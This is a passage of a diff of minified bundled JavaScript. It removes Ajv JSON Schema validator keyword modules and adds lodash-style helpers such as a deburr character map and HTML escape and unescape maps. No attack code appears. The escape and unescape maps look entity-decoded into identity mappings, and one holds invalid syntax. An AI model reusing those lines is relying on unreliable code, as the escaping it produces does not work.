c7.allErrors ? g7(e13) : (t10.var(m7, true), g7(e13), t10.if(m7)); - }(); - } }; - t9.default = a7; - }, 61349: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(44153), r8 = { keyword: "prefixItems", type: "array", schemaType: ["array"], before: "uniqueItems", code: (e12) => (0, n8.validateTuple)(e12, "items") }; - t9.default = r8; - }, 19660: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(96223), r8 = i8(94450), o7 = i8(50458), s7 = i8(92697), a7 = { keyword: "properties", type: "object", schemaType: "object", code(e12) { - const { gen: t10, schema: i9, parentSchema: a8, data: p7, it: c7 } = e12; - "all" === c7.opts.removeAdditional && void 0 === a8.additionalProperties && s7.default.code(new n8.KeywordCxt(c7, s7.default, "additionalProperties")); - const d7 = (0, r8.allSchemaProperties)(i9); - for (const e13 of d7) - c7.definedProperties.add(e13); - c7.opts.unevaluated && d7.length && true !== c7.props && (c7.props = o7.mergeEvaluated.props(t10, (0, o7.toHash)(d7), c7.props)); - const f8 = d7.filter((e13) => !(0, o7.alwaysValidSchema)(c7, i9[e13])); - if (0 === f8.length) - return; - const l7 = t10.name("valid"); - for (const i10 of f8) - u7(i10) ? m7(i10) : (t10.if((0, r8.propertyInData)(t10, p7, i10, c7.opts.ownProperties)), m7(i10), c7.allErrors || t10.else().var(l7, true), t10.endIf()), e12.it.definedProperties.add(i10), e12.ok(l7); - function u7(e13) { - return c7.opts.useDefaults && !c7.compositeRule && void 0 !== i9[e13].default; + var ei = Bt({ \u00C0: "A", \u00C1: "A", \u00C2: "A", \u00C3: "A", \u00C4: "A", \u00C5: "A", \u00E0: "a", \u00E1: "a", \u00E2: "a", \u00E3: "a", \u00E4: "a", \u00E5: "a", \u00C7: "C", \u00E7: "c", \u00D0: "D", \u00F0: "d", \u00C8: "E", \u00C9: "E", \u00CA: "E", \u00CB: "E", \u00E8: "e", \u00E9: "e", \u00EA: "e", \u00EB: "e", \u00CC: "I", \u00CD: "I", \u00CE: "I", \u00CF: "I", \u00EC: "i", \u00ED: "i", \u00EE: "i", \u00EF: "i", \u00D1: "N", \u00F1: "n", \u00D2: "O", \u00D3: "O", \u00D4: "O", \u00D5: "O", \u00D6: "O", \u00D8: "O", \u00F2: "o", \u00F3: "o", \u00F4: "o", \u00F5: "o", \u00F6: "o", \u00F8: "o", \u00D9: "U", \u00DA: "U", \u00DB: "U", \u00DC: "U", \u00F9: "u", \u00FA: "u", \u00FB: "u", \u00FC: "u", \u00DD: "Y", \u00FD: "y", \u00FF: "y", \u00C6: "Ae", \u00E6: "ae", \u00DE: "Th", \u00FE: "th", \u00DF: "ss", \u0100: "A", \u0102: "A", \u0104: "A", \u0101: "a", \u0103: "a", \u0105: "a", \u0106: "C", \u0108: "C", \u010A: "C", \u010C: "C", \u0107: "c", \u0109: "c", \u010B: "c", \u010D: "c", \u010E: "D", \u0110: "D", \u010F: "d", \u0111: "d", \u0112: "E", \u0114: "E", \u0116: "E", \u0118: "E", \u011A: "E", \u0113: "e", \u0115: "e", \u0117: "e", \u0119: "e", \u011B: "e", \u011C: "G", \u011E: "G", \u0120: "G", \u0122: "G", \u011D: "g", \u011F: "g", \u0121: "g", \u0123: "g", \u0124: "H", \u0126: "H", \u0125: "h", \u0127: "h", \u0128: "I", \u012A: "I", \u012C: "I", \u012E: "I", \u0130: "I", \u0129: "i", \u012B: "i", \u012D: "i", \u012F: "i", \u0131: "i", \u0134: "J", \u0135: "j", \u0136: "K", \u0137: "k", \u0138: "k", \u0139: "L", \u013B: "L", \u013D: "L", \u013F: "L", \u0141: "L", \u013A: "l", \u013C: "l", \u013E: "l", \u0140: "l", \u0142: "l", \u0143: "N", \u0145: "N", \u0147: "N", \u014A: "N", \u0144: "n", \u0146: "n", \u0148: "n", \u014B: "n", \u014C: "O", \u014E: "O", \u0150: "O", \u014D: "o", \u014F: "o", \u0151: "o", \u0154: "R", \u0156: "R", \u0158: "R", \u0155: "r", \u0157: "r", \u0159: "r", \u015A: "S", \u015C: "S", \u015E: "S", \u0160: "S", \u015B: "s", \u015D: "s", \u015F: "s", \u0161: "s", \u0162: "T", \u0164: "T", \u0166: "T", \u0163: "t", \u0165: "t", \u0167: "t", \u0168: "U", \u016A: "U", \u016C: "U", \u016E: "U", \u0170: "U", \u0172: "U", \u0169: "u", \u016B: "u", \u016D: "u", \u016F: "u", \u0171: "u", \u0173: "u", \u0174: "W", \u0175: "w", \u0176: "Y", \u0177: "y", \u0178: "Y", \u0179: "Z", \u017B: "Z", \u017D: "Z", \u017A: "z", \u017C: "z", \u017E: "z", \u0132: "IJ", \u0133: "ij", \u0152: "Oe", \u0153: "oe", \u0149: "'n", \u017F: "s" }), ti = Bt({ "&": "&", "<": "<", ">": ">", '"': """, "'": "'" }); + function ii(e12) { + return "\\" + st2[e12]; } - function m7(t11) { - e12.subschema({ keyword: "properties", schemaProp: t11, dataProp: t11 }, l7); + function ni(e12) { + return et3.test(e12); } - } }; - t9.default = a7; - }, 67486: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = i8(50458), o7 = { keyword: "propertyNames", type: "object", schemaType: ["object", "boolean"], error: { message: "property name must be valid", params: ({ params: e12 }) => n8._`{propertyName: ${e12.propertyName}}` }, code(e12) { - const { gen: t10, schema: i9, data: o8, it: s7 } = e12; - if ((0, r8.alwaysValidSchema)(s7, i9)) - return; - const a7 = t10.name("valid"); - t10.forIn("key", o8, (i10) => { - e12.setParams({ propertyName: i10 }), e12.subschema({ keyword: "propertyNames", data: i10, dataTypes: ["string"], propertyName: i10, compositeRule: true }, a7), t10.if((0, n8.not)(a7), () => { - e12.error(true), s7.allErrors || t10.break(); - }); - }), e12.ok(a7); - } }; - t9.default = o7; - }, 45255: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(50458), r8 = { keyword: ["then", "else"], schemaType: ["object", "boolean"], code({ keyword: e12, parentSchema: t10, it: i9 }) { - void 0 === t10.if && (0, n8.checkStrictMode)(i9, `"${e12}" without "if" is ignored`); - } }; - t9.default = r8; - }, 94450: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.validateUnion = t9.validateArray = t9.usePattern = t9.callValidateCode = t9.schemaProperties = t9.allSchemaProperties = t9.noPropertyInData = t9.propertyInData = t9.isOwnProperty = t9.hasPropFunc = t9.reportMissingProp = t9.checkMissingProp = t9.checkReportMissingProp = void 0; - const n8 = i8(17898), r8 = i8(50458), o7 = i8(63036), s7 = i8(50458); - function a7(e12) { - return e12.scopeValue("func", { ref: Object.prototype.hasOwnProperty, code: n8._`Object.prototype.hasOwnProperty` }); - } - function p7(e12, t10, i9) { - return n8._`${a7(e12)}.call(${t10}, ${i9})`; - } - function c7(e12, t10, i9, r9) { - const o8 = n8._`${t10}${(0, n8.getProperty)(i9)} === undefined`; - return r9 ? (0, n8.or)(o8, (0, n8.not)(p7(e12, t10, i9))) : o8; - } - function d7(e12) { - return e12 ? Object.keys(e12).filter((e13) => "__proto__" !== e13) : []; - } - t9.checkReportMissingProp = function(e12, t10) { - const { gen: i9, data: r9, it: o8 } = e12; - i9.if(c7(i9, r9, t10, o8.opts.ownProperties), () => { - e12.setParams({ missingProperty: n8._`${t10}` }, true), e12.error(); - }); - }, t9.checkMissingProp = function({ gen: e12, data: t10, it: { opts: i9 } }, r9, o8) { - return (0, n8.or)(...r9.map((r10) => (0, n8.and)(c7(e12, t10, r10, i9.ownProperties), n8._`${o8} = ${r10}`))); - }, t9.reportMissingProp = function(e12, t10) { - e12.setParams({ missingProperty: t10 }, true), e12.error(); - }, t9.hasPropFunc = a7, t9.isOwnProperty = p7, t9.propertyInData = function(e12, t10, i9, r9) { - const o8 = n8._`${t10}${(0, n8.getProperty)(i9)} !== undefined`; - return r9 ? n8._`${o8} && ${p7(e12, t10, i9)}` : o8; - }, t9.noPropertyInData = c7, t9.allSchemaProperties = d7, t9.schemaProperties = function(e12, t10) { - return d7(t10).filter((i9) => !(0, r8.alwaysValidSchema)(e12, t10[i9])); - }, t9.callValidateCode = function({ schemaCode: e12, data: t10, it: { gen: i9, topSchemaRef: r9, schemaPath: s8, errorPath: a8 }, it: p8 }, c8, d8, f9) { - const l7 = f9 ? n8._`${e12}, ${t10}, ${r9}${s8}` : t10, u7 = [[o7.default.instancePath, (0, n8.strConcat)(o7.default.instancePath, a8)], [o7.default.parentData, p8.parentData], [o7.default.parentDataProperty, p8.parentDataProperty], [o7.default.rootData, o7.default.rootData]]; - p8.opts.dynamicRef && u7.push([o7.default.dynamicAnchors, o7.default.dynamicAnchors]); - const m7 = n8._`${l7}, ${i9.object(...u7)}`; - return d8 !== n8.nil ? n8._`${c8}.call(${d8}, ${m7})` : n8._`${c8}(${m7})`; - }; - const f8 = n8._`new RegExp`; - t9.usePattern = function({ gen: e12, it: { opts: t10 } }, i9) { - const r9 = t10.unicodeRegExp ? "u" : "", { regExp: o8 } = t10.code, a8 = o8(i9, r9); - return e12.scopeValue("pattern", { key: a8.toString(), ref: a8, code: n8._`${"new RegExp" === o8.code ? f8 : (0, s7.useFunc)(e12, o8)}(${i9}, ${r9})` }); - }, t9.validateArray = function(e12) { - const { gen: t10, data: i9, keyword: o8, it: s8 } = e12, a8 = t10.name("valid"); - if (s8.allErrors) { - const e13 = t10.let("valid", true); - return p8(() => t10.assign(e13, false)), e13; + function ri(e12) { + var t10 = -1, i9 = Array(e12.size); + return e12.forEach(function(e13, n9) { + i9[++t10] = [n9, e13]; + }), i9; } - return t10.var(a8, true), p8(() => t10.break()), a8; - function p8(s9) { - const p9 = t10.const("len", n8._`${i9}.length`); - t10.forRange("i", 0, p9, (i10) => { - e12.subschema({ keyword: o8, dataProp: i10, dataPropType: r8.Type.Num }, a8), t10.if((0, n8.not)(a8), s9); - }); + function oi(e12, t10) { + return function(i9) { + return e12(t10(i9)); + }; } - }, t9.validateUnion = function(e12) { - const { gen: t10, schema: i9, keyword: o8, it: s8 } = e12; - if (!Array.isArray(i9)) - throw new Error("ajv implementation error"); - if (i9.some((e13) => (0, r8.alwaysValidSchema)(s8, e13)) && !s8.opts.unevaluated) - return; - const a8 = t10.let("valid", false), p8 = t10.name("_valid"); - t10.block(() => i9.forEach((i10, r9) => { - const s9 = e12.subschema({ keyword: o8, schemaProp: r9, compositeRule: true }, p8); - t10.assign(a8, n8._`${a8} || ${p8}`), e12.mergeValidEvaluated(s9, p8) || t10.if((0, n8.not)(a8)); - })), e12.result(a8, () => e12.reset(), () => e12.error(true)); - }; - }, 73946: (e11, t9) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const i8 = { keyword: "id", code() { - throw new Error('NOT SUPPORTED: keyword "id", use "$id" for schema ID'); - } }; - t9.default = i8; - }, 3839: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(73946), r8 = i8(26138), o7 = ["$schema", "$id", "$defs", "$vocabulary", { keyword: "$comment" }, "definitions", n8.default, r8.default]; - t9.default = o7; - }, 26138: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.callRef = t9.getValidate = void 0; - const n8 = i8(85748), r8 = i8(94450), o7 = i8(17898), s7 = i8(63036), a7 = i8(49392), p7 = i8(50458), c7 = { keyword: "$ref", schemaType: "string", code(e12) { - const { gen: t10, schema: i9, it: r9 } = e12, { baseId: s8, schemaEnv: p8, validateName: c8, opts: l7, self: u7 } = r9, { root: m7 } = p8; - if (("#" === i9 || "#/" === i9) && s8 === m7.baseId) - return function() { - if (p8 === m7) - return f8(e12, c8, p8, p8.$async); - const i10 = t10.scopeValue("root", { ref: m7 }); - return f8(e12, o7._`${i10}.validate`, m7, m7.$async); - }(); - const h8 = a7.resolveRef.call(u7, m7, s8, i9); - if (void 0 === h8) - throw new n8.default(r9.opts.uriResolver, s8, i9); - return h8 instanceof a7.SchemaEnv ? function(t11) { - const i10 = d7(e12, t11); - f8(e12, i10, t11, t11.$async); - }(h8) : function(n9) { - const r10 = t10.scopeValue("schema", true === l7.code.source ? { ref: n9, code: (0, o7.stringify)(n9) } : { ref: n9 }), s9 = t10.name("valid"), a8 = e12.subschema({ schema: n9, dataTypes: [], schemaPath: o7.nil, topSchemaRef: r10, errSchemaPath: i9 }, s9); - e12.mergeEvaluated(a8), e12.ok(s9); - }(h8); - } }; - function d7(e12, t10) { - const { gen: i9 } = e12; - return t10.validate ? i9.scopeValue("validate", { ref: t10.validate }) : o7._`${i9.scopeValue("wrapper", { ref: t10 })}.validate`; - } - function f8(e12, t10, i9, n9) { - const { gen: a8, it: c8 } = e12, { allErrors: d8, schemaEnv: f9, opts: l7 } = c8, u7 = l7.passContext ? s7.default.this : o7.nil; - function m7(e13) { - const t11 = o7._`${e13}.errors`; - a8.assign(s7.default.vErrors, o7._`${s7.default.vErrors} === null ? ${t11} : ${s7.default.vErrors}.concat(${t11})`), a8.assign(s7.default.errors, o7._`${s7.default.vErrors}.length`); + function si(e12, t10) { + for (var i9 = -1, n9 = e12.length, r9 = 0, o8 = []; ++i9 < n9; ) { + var s8 = e12[i9]; + s8 !== t10 && s8 !== a7 || (e12[i9] = a7, o8[r9++] = i9); + } + return o8; } - function h8(e13) { - var t11; - if (!c8.opts.unevaluated) - return; - const n10 = null === (t11 = null == i9 ? void 0 : i9.validate) || void 0 === t11 ? void 0 : t11.evaluated; - if (true !== c8.props) - if (n10 && !n10.dynamicProps) - void 0 !== n10.props && (c8.props = p7.mergeEvaluated.props(a8, n10.props, c8.props)); - else { - const t12 = a8.var("props", o7._`${e13}.evaluated.props`); - c8.props = p7.mergeEvaluated.props(a8, t12, c8.props, o7.Name); - } - if (true !== c8.items) - if (n10 && !n10.dynamicItems) - void 0 !== n10.items && (c8.items = p7.mergeEvaluated.items(a8, n10.items, c8.items)); - else { - const t12 = a8.var("items", o7._`${e13}.evaluated.items`); - c8.items = p7.mergeEvaluated.items(a8, t12, c8.items, o7.Name); - } + function ai(e12) { + var t10 = -1, i9 = Array(e12.size); + return e12.forEach(function(e13) { + i9[++t10] = e13; + }), i9; } - n9 ? function() { - if (!f9.$async) - throw new Error("async schema referenced by sync schema"); - const i10 = a8.let("valid"); - a8.try(() => { - a8.code(o7._`await ${(0, r8.callValidateCode)(e12, t10, u7)}`), h8(t10), d8 || a8.assign(i10, true); - }, (e13) => { - a8.if(o7._`!(${e13} instanceof ${c8.ValidationError})`, () => a8.throw(e13)), m7(e13), d8 || a8.assign(i10, false); - }), e12.ok(i10); - }() : e12.result((0, r8.callValidateCode)(e12, t10, u7), () => h8(t10), () => m7(t10)); - } - t9.getValidate = d7, t9.callRef = f8, t9.default = c7; - }, 11672: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = i8(88925), o7 = i8(49392), s7 = i8(85748), a7 = i8(50458), p7 = { keyword: "discriminator", type: "object", schemaType: "object", error: { message: ({ params: { discrError: e12, tagName: t10 } }) => e12 === r8.DiscrError.Tag ? `tag "${t10}" must be string` : `value of tag "${t10}" must be in oneOf`, params: ({ params: { discrError: e12, tag: t10, tagName: i9 } }) => n8._`{error: ${e12}, tag: ${i9}, tagValue: ${t10}}` }, code(e12) { - const { gen: t10, data: i9, schema: p8, parentSchema: c7, it: d7 } = e12, { oneOf: f8 } = c7; - if (!d7.opts.discriminator) - throw new Error("discriminator: requires discriminator option"); - const l7 = p8.propertyName; - if ("string" != typeof l7) - throw new Error("discriminator: requires propertyName"); - if (p8.mapping) - throw new Error("discriminator: mapping is not supported"); - if (!f8) - throw new Error("discriminator: requires oneOf keyword"); - const u7 = t10.let("valid", false), m7 = t10.const("tag", n8._`${i9}${(0, n8.getProperty)(l7)}`); - function h8(i10) { - const r9 = t10.name("valid"), o8 = e12.subschema({ keyword: "oneOf", schemaProp: i10 }, r9); - return e12.mergeEvaluated(o8, n8.Name), r9; + function pi(e12) { + var t10 = -1, i9 = Array(e12.size); + return e12.forEach(function(e13) { + i9[++t10] = [e13, e13]; + }), i9; } - t10.if(n8._`typeof ${m7} == "string"`, () => function() { - const i10 = function() { - var e13; - const t11 = {}, i11 = r9(c7); - let n9 = true; - for (let t12 = 0; t12 < f8.length; t12++) { - let c8 = f8[t12]; - if ((null == c8 ? void 0 : c8.$ref) && !(0, a7.schemaHasRulesButRef)(c8, d7.self.RULES)) { - const e14 = c8.$ref; - if (c8 = o7.resolveRef.call(d7.self, d7.schemaEnv.root, d7.baseId, e14), c8 instanceof o7.SchemaEnv && (c8 = c8.schema), void 0 === c8) - throw new s7.default(d7.opts.uriResolver, d7.baseId, e14); - } - const u9 = null === (e13 = null == c8 ? void 0 : c8.properties) || void 0 === e13 ? void 0 : e13[l7]; - if ("object" != typeof u9) - throw new Error(`discriminator: oneOf subschemas (or referenced schemas) must have "properties/${l7}"`); - n9 = n9 && (i11 || r9(c8)), p9(u9, t12); - } - if (!n9) - throw new Error(`discriminator: "${l7}" must be required`); - return t11; - function r9({ required: e14 }) { - return Array.isArray(e14) && e14.includes(l7); - } - function p9(e14, t12) { - if (e14.const) - u8(e14.const, t12); - else { - if (!e14.enum) - throw new Error(`discriminator: "properties/${l7}" must have "const" or "enum"`); - for (const i12 of e14.enum) - u8(i12, t12); - } - } - function u8(e14, i12) { - if ("string" != typeof e14 || e14 in t11) - throw new Error(`discriminator: "${l7}" values must be unique strings`); - t11[e14] = i12; - } - }(); - t10.if(false); - for (const e13 in i10) - t10.elseIf(n8._`${m7} === ${e13}`), t10.assign(u7, h8(i10[e13])); - t10.else(), e12.error(false, { discrError: r8.DiscrError.Mapping, tag: m7, tagName: l7 }), t10.endIf(); - }(), () => e12.error(false, { discrError: r8.DiscrError.Tag, tag: m7, tagName: l7 })), e12.ok(u7); - } }; - t9.default = p7; - }, 88925: (e11, t9) => { - "use strict"; - var i8; - Object.defineProperty(t9, "__esModule", { value: true }), t9.DiscrError = void 0, function(e12) { - e12.Tag = "tag", e12.Mapping = "mapping"; - }(i8 || (t9.DiscrError = i8 = {})); - }, 64404: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(3839), r8 = i8(17851), o7 = i8(18225), s7 = i8(32485), a7 = i8(68774), p7 = i8(83076), c7 = i8(26699), d7 = i8(34882), f8 = [s7.default, n8.default, r8.default, (0, o7.default)(true), c7.default, d7.metadataVocabulary, d7.contentVocabulary, a7.default, p7.default]; - t9.default = f8; - }, 2431: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(3839), r8 = i8(17851), o7 = i8(18225), s7 = i8(26699), a7 = i8(34882), p7 = [n8.default, r8.default, (0, o7.default)(), s7.default, a7.metadataVocabulary, a7.contentVocabulary]; - t9.default = p7; - }, 68725: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.dynamicAnchor = void 0; - const n8 = i8(17898), r8 = i8(63036), o7 = i8(49392), s7 = i8(26138), a7 = { keyword: "$dynamicAnchor", schemaType: "string", code: (e12) => p7(e12, e12.schema) }; - function p7(e12, t10) { - const { gen: i9, it: a8 } = e12; - a8.schemaEnv.root.dynamicAnchors[t10] = true; - const p8 = n8._`${r8.default.dynamicAnchors}${(0, n8.getProperty)(t10)}`, c7 = "#" === a8.errSchemaPath ? a8.validateName : function(e13) { - const { schemaEnv: t11, schema: i10, self: n9 } = e13.it, { root: r9, baseId: a9, localRefs: p9, meta: c8 } = t11.root, { schemaId: d7 } = n9.opts, f8 = new o7.SchemaEnv({ schema: i10, schemaId: d7, root: r9, baseId: a9, localRefs: p9, meta: c8 }); - return o7.compileSchema.call(n9, f8), (0, s7.getValidate)(e13, f8); - }(e12); - i9.if(n8._`!${p8}`, () => i9.assign(p8, c7)); - } - t9.dynamicAnchor = p7, t9.default = a7; - }, 36515: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.dynamicRef = void 0; - const n8 = i8(17898), r8 = i8(63036), o7 = i8(26138), s7 = { keyword: "$dynamicRef", schemaType: "string", code: (e12) => a7(e12, e12.schema) }; - function a7(e12, t10) { - const { gen: i9, keyword: s8, it: a8 } = e12; - if ("#" !== t10[0]) - throw new Error(`"${s8}" only supports hash fragment reference`); - const p7 = t10.slice(1); - if (a8.allErrors) - c7(); - else { - const t11 = i9.let("valid", false); - c7(t11), e12.ok(t11); + function ci(e12) { + return ni(e12) ? function(e13) { + for (var t10 = Ye.lastIndex = 0; Ye.test(e13); ) + ++t10; + return t10; + }(e12) : Dt(e12); } - function c7(e13) { - if (a8.schemaEnv.root.dynamicAnchors[p7]) { - const t11 = i9.let("_v", n8._`${r8.default.dynamicAnchors}${(0, n8.getProperty)(p7)}`); - i9.if(t11, d7(t11, e13), d7(a8.validateName, e13)); - } else - d7(a8.validateName, e13)(); + function di(e12) { + return ni(e12) ? function(e13) { + return e13.match(Ye) || []; + }(e12) : function(e13) { + return e13.split(""); + }(e12); } - function d7(t11, n9) { - return n9 ? () => i9.block(() => { - (0, o7.callRef)(e12, t11), i9.let(n9, true); - }) : () => (0, o7.callRef)(e12, t11); + function fi(e12) { + for (var t10 = e12.length; t10-- && re4.test(e12.charAt(t10)); ) + ; + return t10; } - } - t9.dynamicRef = a7, t9.default = s7; - }, 32485: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(68725), r8 = i8(36515), o7 = i8(66792), s7 = i8(7688), a7 = [n8.default, r8.default, o7.default, s7.default]; - t9.default = a7; - }, 66792: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(68725), r8 = i8(50458), o7 = { keyword: "$recursiveAnchor", schemaType: "boolean", code(e12) { - e12.schema ? (0, n8.dynamicAnchor)(e12, "") : (0, r8.checkStrictMode)(e12.it, "$recursiveAnchor: false is ignored"); - } }; - t9.default = o7; - }, 7688: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(36515), r8 = { keyword: "$recursiveRef", schemaType: "string", code: (e12) => (0, n8.dynamicRef)(e12, e12.schema) }; - t9.default = r8; - }, 37072: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = { keyword: "format", type: ["number", "string"], schemaType: "string", $data: true, error: { message: ({ schemaCode: e12 }) => n8.str`must match format "${e12}"`, params: ({ schemaCode: e12 }) => n8._`{format: ${e12}}` }, code(e12, t10) { - const { gen: i9, data: r9, $data: o7, schema: s7, schemaCode: a7, it: p7 } = e12, { opts: c7, errSchemaPath: d7, schemaEnv: f8, self: l7 } = p7; - c7.validateFormats && (o7 ? function() { - const o8 = i9.scopeValue("formats", { ref: l7.formats, code: c7.code.formats }), s8 = i9.const("fDef", n8._`${o8}[${a7}]`), p8 = i9.let("fType"), d8 = i9.let("format"); - i9.if(n8._`typeof ${s8} == "object" && !(${s8} instanceof RegExp)`, () => i9.assign(p8, n8._`${s8}.type || "string"`).assign(d8, n8._`${s8}.validate`), () => i9.assign(p8, n8._`"string"`).assign(d8, s8)), e12.fail$data((0, n8.or)(false === c7.strictSchema ? n8.nil : n8._`${a7} && !${d8}`, function() { - const e13 = f8.$async ? n8._`(${s8}.async ? await ${d8}(${r9}) : ${d8}(${r9}))` : n8._`${d8}(${r9})`, i10 = n8._`(typeof ${d8} == "function" ? ${e13} : ${d8}.test(${r9}))`; - return n8._`${d8} && ${d8} !== true && ${p8} === ${t10} && !${i10}`; - }())); - }() : function() { - const o8 = l7.formats[s7]; - if (!o8) - return void function() { - if (false !== c7.strictSchema) - throw new Error(e13()); - function e13() { - return `unknown format "${s7}" ignored in schema at path "${d7}"`; - } - l7.logger.warn(e13()); - }(); - if (true === o8) - return; - const [a8, p8, u7] = function(e13) { - const t11 = e13 instanceof RegExp ? (0, n8.regexpCode)(e13) : c7.code.formats ? n8._`${c7.code.formats}${(0, n8.getProperty)(s7)}` : void 0, r10 = i9.scopeValue("formats", { key: s7, ref: e13, code: t11 }); - return "object" != typeof e13 || e13 instanceof RegExp ? ["string", e13, r10] : [e13.type || "string", e13.validate, n8._`${r10}.validate`]; - }(o8); - a8 === t10 && e12.pass(function() { - if ("object" == typeof o8 && !(o8 instanceof RegExp) && o8.async) { - if (!f8.$async) - throw new Error("async format in sync schema"); - return n8._`await ${u7}(${r9})`; + var li = Bt({ "&": "&", "<": "<", ">": ">", """: '"', "'": "'" }), ui = function e12(t10) { + var i9, n9 = (t10 = null == t10 ? ft : ui.defaults(ft.Object(), t10, ui.pick(ft, it2))).Array, re5 = t10.Date, $e3 = t10.Error, xe3 = t10.Function, _e3 = t10.Math, we5 = t10.Object, Se5 = t10.RegExp, Pe3 = t10.String, Oe5 = t10.TypeError, Te2 = n9.prototype, Ae5 = xe3.prototype, Ie3 = we5.prototype, Ee5 = t10["__core-js_shared__"], qe3 = Ae5.toString, ke4 = Ie3.hasOwnProperty, Me3 = 0, Re3 = (i9 = /[^.]+$/.exec(Ee5 && Ee5.keys && Ee5.keys.IE_PROTO || "")) ? "Symbol(src)_1." + i9 : "", De3 = Ie3.toString, Ce2 = qe3.call(we5), Ve2 = ft._, Ne3 = Se5("^" + qe3.call(ke4).replace(te4, "\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g, "$1.*?") + "$"), Fe2 = mt ? t10.Buffer : r8, Ue2 = t10.Symbol, Le3 = t10.Uint8Array, ze3 = Fe2 ? Fe2.allocUnsafe : r8, Be4 = oi(we5.getPrototypeOf, we5), Qe2 = we5.create, Ke2 = Ie3.propertyIsEnumerable, He2 = Te2.splice, Ge2 = Ue2 ? Ue2.isConcatSpreadable : r8, We2 = Ue2 ? Ue2.iterator : r8, Ye2 = Ue2 ? Ue2.toStringTag : r8, et4 = function() { + try { + var e13 = po(we5, "defineProperty"); + return e13({}, "", {}), e13; + } catch (e14) { } - return "function" == typeof p8 ? n8._`${u7}(${r9})` : n8._`${u7}.test(${r9})`; - }()); - }()); - } }; - t9.default = r8; - }, 26699: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = [i8(37072).default]; - t9.default = n8; - }, 34882: (e11, t9) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.contentVocabulary = t9.metadataVocabulary = void 0, t9.metadataVocabulary = ["title", "description", "default", "deprecated", "readOnly", "writeOnly", "examples"], t9.contentVocabulary = ["contentMediaType", "contentEncoding", "contentSchema"]; - }, 68774: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(51097), r8 = i8(90776), o7 = i8(87237), s7 = [n8.default, r8.default, o7.default]; - t9.default = s7; - }, 83076: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(36237), r8 = i8(76374), o7 = [n8.default, r8.default]; - t9.default = o7; - }, 76374: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = i8(50458), o7 = { keyword: "unevaluatedItems", type: "array", schemaType: ["boolean", "object"], error: { message: ({ params: { len: e12 } }) => n8.str`must NOT have more than ${e12} items`, params: ({ params: { len: e12 } }) => n8._`{limit: ${e12}}` }, code(e12) { - const { gen: t10, schema: i9, data: o8, it: s7 } = e12, a7 = s7.items || 0; - if (true === a7) - return; - const p7 = t10.const("len", n8._`${o8}.length`); - if (false === i9) - e12.setParams({ len: a7 }), e12.fail(n8._`${p7} > ${a7}`); - else if ("object" == typeof i9 && !(0, r8.alwaysValidSchema)(s7, i9)) { - const i10 = t10.var("valid", n8._`${p7} <= ${a7}`); - t10.if((0, n8.not)(i10), () => function(i11, o9) { - t10.forRange("i", o9, p7, (o10) => { - e12.subschema({ keyword: "unevaluatedItems", dataProp: o10, dataPropType: r8.Type.Num }, i11), s7.allErrors || t10.if((0, n8.not)(i11), () => t10.break()); - }); - }(i10, a7)), e12.ok(i10); - } - s7.items = true; - } }; - t9.default = o7; - }, 36237: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = i8(50458), o7 = i8(63036), s7 = { keyword: "unevaluatedProperties", type: "object", schemaType: ["boolean", "object"], trackErrors: true, error: { message: "must NOT have unevaluated properties", params: ({ params: e12 }) => n8._`{unevaluatedProperty: ${e12.unevaluatedProperty}}` }, code(e12) { - const { gen: t10, schema: i9, data: s8, errsCount: a7, it: p7 } = e12; - if (!a7) - throw new Error("ajv implementation error"); - const { allErrors: c7, props: d7 } = p7; - function f8(o8) { - if (false === i9) - return e12.setParams({ unevaluatedProperty: o8 }), e12.error(), void (c7 || t10.break()); - if (!(0, r8.alwaysValidSchema)(p7, i9)) { - const i10 = t10.name("valid"); - e12.subschema({ keyword: "unevaluatedProperties", dataProp: o8, dataPropType: r8.Type.Str }, i10), c7 || t10.if((0, n8.not)(i10), () => t10.break()); + }(), st3 = t10.clearTimeout !== ft.clearTimeout && t10.clearTimeout, ct2 = re5 && re5.now !== ft.Date.now && re5.now, dt2 = t10.setTimeout !== ft.setTimeout && t10.setTimeout, lt3 = _e3.ceil, ut2 = _e3.floor, ht3 = we5.getOwnPropertySymbols, yt2 = Fe2 ? Fe2.isBuffer : r8, Dt2 = t10.isFinite, Bt2 = Te2.join, mi = oi(we5.keys, we5), hi = _e3.max, yi = _e3.min, gi = re5.now, bi = t10.parseInt, vi = _e3.random, ji = Te2.reverse, $i = 